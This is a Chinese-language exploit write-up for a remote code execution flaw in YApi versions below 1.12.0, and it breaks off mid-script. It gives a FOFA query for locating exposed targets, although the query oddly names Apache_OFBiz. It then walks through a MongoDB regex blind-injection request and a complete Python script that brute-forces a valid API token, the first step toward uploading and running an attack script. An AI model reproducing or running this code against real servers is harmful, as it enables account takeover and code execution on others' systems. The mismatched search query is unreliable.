YApi 是高效、易用、功能强大的 api 管理平台,旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API,YApi 还为用户提供了优秀的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。Api 由于 base.js 没有正确对 token 参数进行正确过滤,导致存在远程代码执行漏洞。
1.漏洞级别
高危
2.漏洞搜索
fofa
app="Apache_OFBiz"
3.影响范围
YApi < 1.12.0
4.漏洞复现
漏洞复现需要经历三个步骤
- 通过接口注入获取token
- 上传攻击脚本到 pre-response
- 调用自动化测试接口触发攻击脚本
下面会按照步骤逐步操作。
4.1 获取token
接口存在mongo注入漏洞,我们可以通过盲注的方式来获取有效token。
构造post请求
url/api/interface/up
data = {
'id' : -1,
'token' : {
'$regex': guess,
'$nin': []
}
}
headers = {
'Content-Type': 'application/json'
}
- token长度为20
- 数据库中的token为16进制存储,所以token每个字符的可能的值有’abcedf0123456789’
- 我们可用正则匹配的方式来爆破token
- 传入的参数token中的regex需要已^为前缀,这是一个正则表达式的写法
匹配正确的情况下会返回400
匹配错误则会返回40011
这里提供一个我实现的简单爆破脚本
import requests,json
choices = 'abcedf0123456789'
def get_token(url,already):
current = "^"
for i in range(20):
for ch in choices:
guess = current + ch
data = {
'id' : -1,
'token' : {
'$regex': guess,
'$nin': []
}
}
headers = {
'Content-Type': 'application/json'
}
resp = requests.post(url+"/api/interface/up", data = json.dumps(data), headers=headers)
res = resp.json()
if res['errcode'] == 400:
current =guess
break
print("正确的token为:" + current)
return current[